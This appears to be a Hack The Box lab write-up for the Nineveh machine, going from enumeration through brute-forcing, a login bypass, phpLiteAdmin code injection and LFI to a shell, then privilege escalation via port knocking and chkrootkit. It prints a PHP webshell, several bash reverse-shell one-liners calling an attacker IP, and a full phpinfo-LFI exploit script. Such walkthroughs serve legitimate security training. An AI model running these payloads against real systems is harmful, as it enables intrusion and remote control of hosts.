- Published on
HTB Nineveh
- Authors
- Name
- collinhacks
- @collinhacks
Nineveh
Enumeration
nmap
find all ports
nmap -p- -Pn $IP -o full-enumerate.nmap
āā$ nmap -p- -Pn $IP -o full-enumerate.nmap
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-23 22:07 EDT
Nmap scan report for 10.10.10.43
Host is up (0.018s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT STATE SERVICE
80/tcp open http
443/tcp open https
Nmap done: 1 IP address (1 host up) scanned in 106.28 seconds
~/Tools/COLLINHACKS/Lab/nmap-awk.sh full-enumerate.nmap
cat ports.nmap
nmap
check UDP
sudo nmap -sU --top-ports 1000 -v $IP -o udp.nmap
nmap
all identified ports + default scripts & service versions
nmap -p <1,2,3> -A --script default --script http-methods --script http-headers $IP -o identified-ports.nmap
āā$ nmap -p 80,443 -A --script default --script http-methods --script http-headers $IP -o identified-ports.nmap
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-23 22:09 EDT
Nmap scan report for 10.10.10.43
Host is up (0.032s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
| http-headers:
| Date: Sun, 24 Sep 2023 02:09:45 GMT
| Server: Apache/2.4.18 (Ubuntu)
| Last-Modified: Sun, 02 Jul 2017 23:49:44 GMT
| ETag: "b2-5535e4e04002a"
| Accept-Ranges: bytes
| Content-Length: 178
| Vary: Accept-Encoding
| Connection: close
| Content-Type: text/html
|
|_ (Request type: HEAD)
|_http-server-header: Apache/2.4.18 (Ubuntu)
443/tcp open ssl/http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
| http-headers:
| Date: Sun, 24 Sep 2023 02:09:46 GMT
| Server: Apache/2.4.18 (Ubuntu)
| Last-Modified: Sun, 02 Jul 2017 23:50:02 GMT
| ETag: "31-5535e4f1dfd20"
| Accept-Ranges: bytes
| Content-Length: 49
| Connection: close
| Content-Type: text/html
|
|_ (Request type: HEAD)
|_ssl-date: TLS randomness does not represent time
|_http-server-header: Apache/2.4.18 (Ubuntu)
| ssl-cert: Subject: commonName=nineveh.htb/organizationName=HackTheBox Ltd/stateOrProvinceName=Athens/countryName=GR
| Not valid before: 2017-07-01T15:03:30
|_Not valid after: 2018-07-01T15:03:30
| tls-alpn:
|_ http/1.1
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.60 seconds
nmap
vuln scan
nmap -p <1,2,3> --script vuln $IP -o vuln.nmap
āā$ nmap -p 80,443 --script vuln $IP -o vuln.nmap
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-23 22:10 EDT
Nmap scan report for 10.10.10.43
Host is up (0.071s latency).
PORT STATE SERVICE
80/tcp open http
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
| http-enum:
|_ /info.php: Possible information file
443/tcp open https
| http-cookie-flags:
| /db/:
| PHPSESSID:
| secure flag not set and HTTPS in use
|_ httponly flag not set
| http-enum:
| /db/: BlogWorx Database
|_ /db/: Potentially interesting folder
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
Nmap done: 1 IP address (1 host up) scanned in 323.16 seconds
Port Enumeration
**Port 80
- Going to enumerate this one first
- http://10.10.10.43/department/login.php
- login page
admin
:password
says āInvalid Password!ā so we know it exists
- login page
- http://10.10.10.43/info.php
********Port 443
- https://10.10.10.43/db/
login page that immediately draws an error just from visiting it
phpLiteAdmin v1.9
I think this is definitely the point of interest.. weāll see
- https://10.10.10.43/secure_notes/nineveh.png
Might want to fuzz
/secure_notes/
too if thereās more heredownloaded this
strings nineveh.png
ssh
isnāt open on this box but we do seenineveh.htb
so we can add this to/etc/hosts
This does also kinda look like LFI, I see like
secret/nineveh.pub
Onto Foothold
Exploitation
**********Port 80
& 443
Foothold
hydra on admin account
http://10.10.10.43/department/login.php
We know
admin
exists from enumeration so I tried hydra:hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.10.43 http-post-form "/department/login.php:username=^USER^&password=^PASS^:Invalid Password" -I -t 64 -v
admin
:1q2w3e4r5t
We get in
another way to get into /department/login.php
- When we request we see
username=admin&password=admin
in the Burp request - If we change it to:
username=admin&password[]=
itāll let us in, this is PHP type juggling bug that works because you send thepassword
POST data as an array.
hydra again
We have another login page here https://10.10.10.43/db/index.php
Hydra it with
admin
hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.10.43 https-post-form "/db/index.php:password=^PASS^&remember=yes&login=Log+In&proc_login=true:Incorrect password" -I -t 64 -v
admin
:password123
Remote PHP Code Injection - phpLiteAdmin v1.9
We are logged in
https://www.exploit-db.com/exploits/24044
Rename ā
test
' to a new database calledhack.php
- Could also name this
ninevehnotes.php
, because for the LFI we have later in the writeup here, when we remove .txt, we can call from specifically/ninevehNotes/../../
but if we just call/ninevehNotes/
to/ninevehNotes.php/
we can exploit LFI.
- Could also name this
Create a new table, called it
hack
with number of field 1Add a TEXT field with:
<?php echo system($_REQUEST["cmd"]); ?>
Now we need to execute this somehow, it is in
/var/tmp/hack.php
so probably LFI clue from earlier
LFI
- Clicking on ā
Notes
" shows us: - Remove the
.txt
in the url and we get LFI
LFI to Shell
- We combine what we did so far with LFI and RFI, and use the LFI found in
/department/manage.php?notes=
to call straight to ourhack.php
- Put this request into Burp just so we can URL encode easily with
Ctrl + U
- Grab a reverse shell payload
/bin/bash -i >& /dev/tcp/10.10.16.6/9001 0>&1
- Modified it to
bash -c '/bin/bash -i >& /dev/tcp/10.10.16.6/9001 0>&1'
- Local:
9001
- Target:
/department/manage.php?notes=/ninevehNotes/../../../../var/tmp/hack.php&cmd=bash+-c+'/bin/bash+-i+>%26+/dev/tcp/10.10.16.6/9001+0>%261'
We got a user as
www-data
not the user in/home
so likely we need to exploit a process and then that gets us touser
which isnamrois
and then we do some sort of simple privesc toroot
, thatās my guess judging from CTF experience
Root
linpeas.sh
/etc/init.d/knockd
found
pspy64
- We see a bunch of
/bin/sh /usr/bin/chkrootkit
- We see a bunch of
- We see a script for
knockd
from linpeas.sh and we can confirm it is on this machine withknock
cat /etc/knockd.conf
- Ports
571
,290
, and911
are being used locally withiptables
as input from any ip%IP%
and accepting it-j ACCEPT
which impersonating as port 22--dport 22
Using nmap to exploit knock / port knocking
So we have that ssh key from earlier from the png, we can use that along with nmap to knock on each port to try and authenticate
If we do
for i in 571 290 911; do nmap -Pn -p $i --host-timeout 201 --max-retries 0 10.10.10.43; done
we will knock on each port with a specific timeout to open port22
Was stuck here for awhile could not figure it out so followed writeup and still couldnāt get it, ippsec did the same thing here and his
22
opened.
- Then we would
ssh -i nineveh.priv amrois@10.10.10.43
and be root
Alternative root from earlier in our linpeas.sh: chkrootkit
In
pspy64
there was a bunch ofchkrootkit
happening and there is an exploit for local privesc with this:Following the exploit; make a file in
/tmp/
calledupdate
touch /tmp/update
Make it executable
chmod +x update
Add a reverse shell to it
echo -e '#!/bin/bash\n/bin/bash -i >& /dev/tcp/10.10.16.6/9002 0>&1' > update
Wait locally for a root callback
nc -lvnp 9002
Alternative Exploit Path to www-data
Earlier when I fuzzed the http:// destinate we found
phpinfo
at http://10.10.10.43/info.php, and it hasfile_uploads on
We can use this to execute a python script from here https://www.insomniasec.com/downloads/publications/phpinfolfi.py called
phpinfolfi.py
- And modify it as followed:
- Change the
payload
to a bash shell - Change the
LFI
location - Add the
PHPSESSID
- Change
[tmp_name] =>
to[tmp_name] =>
since this is how PHP takes this to an HTML code - Add our
local_ip
local_port
andphpsessid=
at the top
- Change the
- And modify it as followed:
Full script
#!/usr/bin/python import sys import threading import socket local_ip = "10.10.16.6" local_port = 443 phpsessid = "9q7hg6j3766cb5f9o6pedk9s42" def setup(host, port): TAG="Security Test" PAYLOAD="""%s\r <?php system("bash -c 'bash -i >& /dev/tcp/%s/%d 0>&1'");?>\r""" % (TAG, local_ip, local_port) REQ1_DATA="""-----------------------------7dbff1ded0714\r Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r Content-Type: text/plain\r \r %s -----------------------------7dbff1ded0714--\r""" % PAYLOAD padding="A" * 5000 REQ1="""POST /info.php?a="""+padding+""" HTTP/1.1\r Cookie: PHPSESSID=9q7hg6j3766cb5f9o6pedk9s42; othercookie="""+padding+"""\r HTTP_ACCEPT: """ + padding + """\r HTTP_USER_AGENT: """+padding+"""\r HTTP_ACCEPT_LANGUAGE: """+padding+"""\r HTTP_PRAGMA: """+padding+"""\r Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r Content-Length: %s\r Host: %s\r \r %s""" %(len(REQ1_DATA),host,REQ1_DATA) #modify this to suit the LFI script LFIREQ="""GET /department/manage.php?notes=/ninevehNotes/..%s HTTP/1.1\r User-Agent: Mozilla/4.0\r Proxy-Connection: Keep-Alive\r Host: %s\r \r \r """ return (REQ1, TAG, LFIREQ) def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) s2.connect((host, port)) s.send(phpinforeq) d = "" while len(d) < offset: d += s.recv(offset) try: i = d.index("[tmp_name] =>") fn = d[i+17:i+31] except ValueError: return None s2.send(lfireq % (fn, host)) d = s2.recv(4096) s.close() s2.close() if d.find(tag) != -1: return fn counter=0 class ThreadWorker(threading.Thread): def __init__(self, e, l, m, *args): threading.Thread.__init__(self) self.event = e self.lock = l self.maxattempts = m self.args = args def run(self): global counter while not self.event.is_set(): with self.lock: if counter >= self.maxattempts: return counter+=1 try: x = phpInfoLFI(*self.args) if self.event.is_set(): break if x: print "\nGot it! Shell created in /tmp/g" self.event.set() except socket.error: return def getOffset(host, port, phpinforeq): """Gets offset of tmp_name in the php output""" s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host,port)) s.send(phpinforeq) d = "" while True: i = s.recv(4096) d+=i if i == "": break # detect the final chunk if i.endswith("0\r\n\r\n"): break s.close() i = d.find("[tmp_name] =>") if i == -1: raise ValueError("No php tmp_name in phpinfo output") print "found %s at %i" % (d[i:i+10],i) # padded up a bit return i+256 def main(): print "LFI With PHPInfo()" print "-=" * 30 if len(sys.argv) < 2: print "Usage: %s host [port] [threads]" % sys.argv[0] sys.exit(1) try: host = socket.gethostbyname(sys.argv[1]) except socket.error, e: print "Error with hostname %s: %s" % (sys.argv[1], e) sys.exit(1) port=80 try: port = int(sys.argv[2]) except IndexError: pass except ValueError, e: print "Error with port %d: %s" % (sys.argv[2], e) sys.exit(1) poolsz=10 try: poolsz = int(sys.argv[3]) except IndexError: pass except ValueError, e: print "Error with poolsz %d: %s" % (sys.argv[3], e) sys.exit(1) print "Getting initial offset...", reqphp, tag, reqlfi = setup(host, port) offset = getOffset(host, port, reqphp) sys.stdout.flush() maxattempts = 1000 e = threading.Event() l = threading.Lock() print "Spawning worker pool (%d)..." % poolsz sys.stdout.flush() tp = [] for i in range(0,poolsz): tp.append(ThreadWorker(e,l,maxattempts, host, port, reqphp, offset, reqlfi, tag)) for t in tp: t.start() try: while not e.wait(1): if e.is_set(): break with l: sys.stdout.write( "\r% 4d / % 4d" % (counter, maxattempts)) sys.stdout.flush() if counter >= maxattempts: break print if e.is_set(): print "Woot! \m/" else: print ":(" except KeyboardInterrupt: print "\nTelling threads to shutdown..." e.set() print "Shuttin' down..." for t in tp: t.join() if __name__=="__main__": main()
python2 phpinfolfi.py 10.10.10.43 80 100
nc -lvnp 443
- Shell
Useful resource links
Notes on this LFI exploit from 0xdf:
notes parameter | Error Message |
---|---|
ninevehNotes.txt | No error, displays note |
/etc/passwd | No Note is selected. |
../../../../../../../../../../etc/passwd | No Note is selected. |
ninevehNotes | Warning: include(files/ninevehNotes): failed to open stream: |
No such file or directory in /var/www/html/department/manage.php on line | |
31 | |
ninevehNote | No Note is selected. |
files/ninevehNotes/../../../../../../../../../etc/passwd | File name too long. |
files/ninevehNotes/../../../../../../../etc/passwd | The contents of /etc/passwd |
/ninevehNotes/../etc/passwd | The contents of /etc/passwd |
https://wiki.archlinux.org/title/Port_knocking
https://www.exploit-db.com/exploits/33899
https://0xdf.gitlab.io/2020/04/22/htb-nineveh.html
Lessons Learned
- too much
- port knocking
- exploiting chkrootkit
- practiced some LFI that was hard af to figure out
- practiced some simple RFI that was only possible because of our LFI
- practiced some hydra
- phpLiteAdmin v1.9